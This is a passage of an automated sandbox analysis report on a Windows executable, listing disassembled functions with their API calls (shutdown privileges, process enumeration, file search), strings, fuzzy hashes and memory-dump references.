CoUninitialize.OLE32 ref: 00007FF7978B60E3

Strings

.lnk, xrefs: 00007FF7978B5F94, 00007FF7978B5FE3, 00007FF7978B6090

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize
String ID: .lnk
API String ID: 3769357847-24824748
Opcode ID: 4c8fcdb31f72f3120188c1de4036b50eaf24b17eb573960d77c147c030cdfb14
Instruction ID: 4556d62ee6b538b8e858180f1240734ad7e23cfff4484d09f47c98b10d845aac
Opcode Fuzzy Hash: 4c8fcdb31f72f3120188c1de4036b50eaf24b17eb573960d77c147c030cdfb14
Instruction Fuzzy Hash: AAD14A76B08A16C5EB20EF7AC090AAD6BB0FB48BC8B844032DE4D57B55DF39D456C360

Function 00007FF79786793C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF797867A8E

Strings

fmod, xrefs: 00007FF797867A58
VUUU, xrefs: 00007FF797867B5B
!, xrefs: 00007FF797867A7A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _handle_error
String ID: !$VUUU$fmod
API String ID: 1757819995-2579133210
Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction ID: 911480168b3d646a1b69d17aaabd8fa8565728f28a34b9d8c40ea2f351390b09
Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction Fuzzy Hash: F2B1E421A2CFC544D6B39A3450113BAF759AFEA3D0F50C332EA5E36AA4DF2C95938740

Function 00007FF7978684C0 Relevance: 7.1, APIs: 4, Instructions: 1071COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7978688E5
_get_daylight.LIBCMT ref: 00007FF7978689C3
_get_daylight.LIBCMT ref: 00007FF7978689DC

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: 09e4e907ae870b3820667c0232f28915d6dd8b336669930dd8abe80671f645cd
Instruction ID: 9723cdb83b02bde6816b12ca4659fc6e7bcc0908ac57af04ec175f4c1b8c13e9
Opcode Fuzzy Hash: 09e4e907ae870b3820667c0232f28915d6dd8b336669930dd8abe80671f645cd
Instruction Fuzzy Hash: D8A2A072A08A429AE734AF34D450979BBA1FB44BC8F948135DB4D07B98DF3DE5238724

Function 00007FF7978AC110 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7978AC14F
DeviceIoControl.KERNEL32 ref: 00007FF7978AC1CB
CloseHandle.KERNEL32 ref: 00007FF7978AC1D6

Strings

0, xrefs: 00007FF7978AC1AC

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID: 0
API String ID: 33631002-4108050209
Opcode ID: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction ID: 29d5c8f986d34c4fa4e03b0f0719d809f3776e918fdbee71adc31a5f34b7f06d
Opcode Fuzzy Hash: 122fac756a3aebd614dbe24bd4d9d3fcd08661cb9d9b68eb4b308195107418d6
Instruction Fuzzy Hash: 42217436618780C6D3309F21E884A9ABBB4F7857D4F544226EB9D03B94DF3CD666CB40

Function 00007FF7978AD750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79789D5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF79789D630
Part of subcall function 00007FF79789D5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF79789D66F
Part of subcall function 00007FF79789D5CC: GetLastError.KERNEL32 ref: 00007FF79789D682

ExitWindowsEx.USER32 ref: 00007FF7978AD798
InitiateSystemShutdownExW.ADVAPI32 ref: 00007FF7978AD7C0
SetSystemPowerState.KERNEL32 ref: 00007FF7978AD7D2

Strings

SeShutdownPrivilege, xrefs: 00007FF7978AD763

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
String ID: SeShutdownPrivilege
API String ID: 2163645468-3733053543
Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction ID: 3de85299f5c757291b5c10e79704a374ae116efd31ba8807877e14e4ee4507bd
Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction Fuzzy Hash: 40119432B1860282E738EB35D84197EEA51BF84790F854135E55DC3999EF3CD826C760

Function 00007FF797855BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF797855C21
IsDebuggerPresent.KERNEL32 ref: 00007FF797855C39
OutputDebugStringW.KERNEL32 ref: 00007FF797855C4A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF797855C43

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction ID: 66f93680a8296d3e1ddf36f433728a3cc09ccb1cfa70e197615d81a42cd559f1
Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction Fuzzy Hash: 39116A32A18B4296EB24AB32DA507B9B7A5FF44395FC04134C64D82A50EF3CE4B5C720

Function 00007FF7978C7634 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF7978C7124), ref: 00007FF7978C764B
GetProcAddress.KERNEL32(?,?,?,00007FF7978C7124), ref: 00007FF7978C7663

Strings

kernel32.dll, xrefs: 00007FF7978C7644
GetModuleHandleExW, xrefs: 00007FF7978C7659

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction ID: 9efa83c42b61d38ec1fc435cedcdd6cc971406f1b1d0375314a956a857d007de
Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction Fuzzy Hash: DEE06D21915B0281EF24AB30E805B2867E0FF08B88FC80434C91D41354EF7CD5AAC310

Function 00007FF7978C6320 Relevance: 6.3, APIs: 4, Instructions: 255COMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF7978C635F
CoUninitialize.OLE32 ref: 00007FF7978C6369

Part of subcall function 00007FF7978A4860: CoCreateInstance.OLE32 ref: 00007FF7978A4931

Part of subcall function 00007FF7978B03E8: VariantInit.OLEAUT32 ref: 00007FF7978B0437
Part of subcall function 00007FF7978B03E8: VariantCopy.OLEAUT32 ref: 00007FF7978B0443
Part of subcall function 00007FF7978B03E8: VariantClear.OLEAUT32 ref: 00007FF7978B0450

VariantInit.OLEAUT32 ref: 00007FF7978C6373
VariantClear.OLEAUT32 ref: 00007FF7978C6690

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Variant$ClearInit$CopyCreateInitializeInstanceUninitialize
String ID:
API String ID: 2733932498-0
Opcode ID: 3fbeb57f627862e8b036b3c53b7652ac04d50a8be8efc141ccf8b94d9cd90ad5
Instruction ID: 02487b988be16f3c24e98d946e064f4ac3eb168781c16dc8d242be1ff32c7845
Opcode Fuzzy Hash: 3fbeb57f627862e8b036b3c53b7652ac04d50a8be8efc141ccf8b94d9cd90ad5
Instruction Fuzzy Hash: 16B16E66B04B5685EB20EF36D490ABDBB60FB48FD4F899036DE4D47796CE38D4528320

Function 00007FF7978ABE00 Relevance: 6.1, APIs: 4, Instructions: 101processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7978ABE3B
Process32FirstW.KERNEL32 ref: 00007FF7978ABE4B
CloseHandle.KERNEL32 ref: 00007FF7978ABF55

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID:
API String ID: 1083639309-0
Opcode ID: 926a5f41c70e85f903ad13907dcdbfaef4bd4711574ecbe01ebdb8b6e25b81d1
Instruction ID: f2aeb45d76cef389aebc1c0cf56e8d7f4471eb55dbf68e40f0895e9d8d978e03
Opcode Fuzzy Hash: 926a5f41c70e85f903ad13907dcdbfaef4bd4711574ecbe01ebdb8b6e25b81d1
Instruction Fuzzy Hash: 2C418132A18A8291E724FF75E4849AEEB64FB94BC4FD44032EA4D03655EF7CD526C710

Function 00007FF7978AC7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF7978AC7CC
GetFileAttributesW.KERNEL32 ref: 00007FF7978AC7E0
FindFirstFileW.KERNEL32 ref: 00007FF7978AC7F3
FindClose.KERNEL32 ref: 00007FF7978AC802

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction ID: 60288e664510590da1b6d7cf09e765434db329255b735d06bb84a5257b38bc35
Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction Fuzzy Hash: 84F05E60E0860281EA387B34B80CB38A660BF42BF5F944330D47E062E4DF6C94AA4220

Function 00007FF7978502C4 Relevance: 5.7, Strings: 2, Instructions: 3180COMMON

Download Yara Rule

Strings

x, xrefs: 00007FF797850D61
DEFINE, xrefs: 00007FF797894A98

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: DEFINE$x
API String ID: 0-4035502692
Opcode ID: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction ID: ed4d5c603c4db5bf24c14bf226e333ff564b61781a29de5cafae3cbebb75b0b2
Opcode Fuzzy Hash: ef8c6a1001600b964e5fbe2637a07538f3dd4599c6cbe193d186c423f91508d7
Instruction Fuzzy Hash: 41539D72B146528AE770AF75C440ABDBBA0FB44BC8F908136DE4D57B84EB39E952C710

Function 00007FF797843C20 Relevance: 5.3, APIs: 3, Instructions: 832COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF797844F51

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: fde1bfadd192644d32b9eca16d35938936fa1ebc796e9fd11923c5e6be2b1dd5
Instruction ID: aab1963dfd30a778760f8f0e88c58fdf0146b73307498d8a5a3323eeb9691994
Opcode Fuzzy Hash: fde1bfadd192644d32b9eca16d35938936fa1ebc796e9fd11923c5e6be2b1dd5
Instruction Fuzzy Hash: E8828F32A08A528AEB70EF25E445A79BBA0FB54BD4FD14036DA4D47794DF7CE462C320

Function 00007FF797861750 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF7978617DB

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction ID: 59765e8838c3cf8019f284ae9de6c0b49caa3bc4b28e579eb244ad4f2b47bc68
Opcode Fuzzy Hash: 4319a682b676806559ada1e1e2a537e8d5e8e6a4cd1916f84ce5e893799bb061
Instruction Fuzzy Hash: 7CD1B532F1868697D774DF25E184A6EBAA1FB887C4F948134CB4E53B45DA3CE852CB00

Function 00007FF7978B6428 Relevance: 4.6, APIs: 3, Instructions: 116fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF7978B6464
FindNextFileW.KERNEL32 ref: 00007FF7978B64B9
FindClose.KERNEL32 ref: 00007FF7978B64FB

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 48e57e618d05c1161541fb2cfdf83d6530d09c7224f4e65aa15c5650d3fdf655
Instruction ID: 68ad87a04897171c594df3c8aa3cbb15497e83ff9bdda33af3b2aca0b45db302
Opcode Fuzzy Hash: 48e57e618d05c1161541fb2cfdf83d6530d09c7224f4e65aa15c5650d3fdf655
Instruction Fuzzy Hash: 44514A72708A4685DB24EF26D4946ACBB60FB84BD4F904232DA5E437A5CF7CE562C720

Function 00007FF7978B58C4 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF7978B58E4
GetDiskFreeSpaceExW.KERNEL32 ref: 00007FF7978B595A
SetErrorMode.KERNEL32 ref: 00007FF7978B59BA

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
Instruction ID: 51013d4aa0876422ac6aef1e027ad66673e483750d9e9e9065ac881f15636a77
Opcode Fuzzy Hash: 9da028b5588618e8017c2d6f59159552d0d086b50025af474123ec90f68560d5
Instruction Fuzzy Hash: D7312F32608B8586EB20AF29E4806AEBB60FB84BD4F504131EB8D43765DF7DD557C710

Function 00007FF79789D5CC Relevance: 4.6, APIs: 3, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797854C68: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF797854C5C

LookupPrivilegeValueW.ADVAPI32 ref: 00007FF79789D630
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF79789D66F
GetLastError.KERNEL32 ref: 00007FF79789D682

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AdjustConcurrency::cancel_current_taskErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 2278415577-0
Opcode ID: a83b9796d64fc49bad9750aa55e5c296d1b681acd3370ba4c74b676021a65ade
Instruction ID: 0b077bee7cc20a40c2fbb1c82931f0b82508acfe2c7c271b7fb19301a1dc60be
Opcode Fuzzy Hash: a83b9796d64fc49bad9750aa55e5c296d1b681acd3370ba4c74b676021a65ade
Instruction Fuzzy Hash: A921C272608A8185DB24EF36E440669BBA0FB88BD4F848435DF4D07718CF7CD566C754

Function 00007FF79789D540 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00007FF79789D58C
CheckTokenMembership.ADVAPI32 ref: 00007FF79789D5A3
FreeSid.ADVAPI32 ref: 00007FF79789D5B4

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction ID: 6be8ac3e9df83de6b312717ccc669c82aceb0abb662a4a84f4f4b05c0104e9c6
Opcode Fuzzy Hash: 3eb730c412da6b237fdafb429a025579d281427b312740e7d186e067821098ed
Instruction Fuzzy Hash: 8D0180336247818FE7209F30D8557A977A0FB547AEF400929F64982A98DB7DC269CF80

Function 00007FF797872F50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

., xrefs: 00007FF797873198

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 704ebd355b677e1258a9e20fb2f824619711b00144154a2c45bc08c04a856543
Instruction ID: 8e491a43f9c739972fcbb781439e686ce1e6e47f59c9a422580c91a5dbe24f2b
Opcode Fuzzy Hash: 704ebd355b677e1258a9e20fb2f824619711b00144154a2c45bc08c04a856543
Instruction Fuzzy Hash: 43313852B146D155EB30BE729804A76EA91FB50BE4F848631EE5E0BBC4DE3CD5628310

Function 00007FF79786BEF8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF79786475C,?,?,00000000,00007FF7978647D9,?,?,?,?,?,00007FF7978B2210), ref: 00007FF79786BF3F

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00007FF79786BF18

Memory Dump Source

